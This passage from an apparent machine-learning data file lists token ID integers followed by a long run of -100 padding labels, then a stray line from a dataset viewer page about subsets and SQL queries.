3626,
12279,
12,
2080,
16,
358,
16,
3844,
1769,
203,
5411,
389,
5771,
1345,
5912,
12,
2080,
16,
3844,
1769,
203,
5411,
18305,
14667,
12,
2080,
16,
358,
16,
3844,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.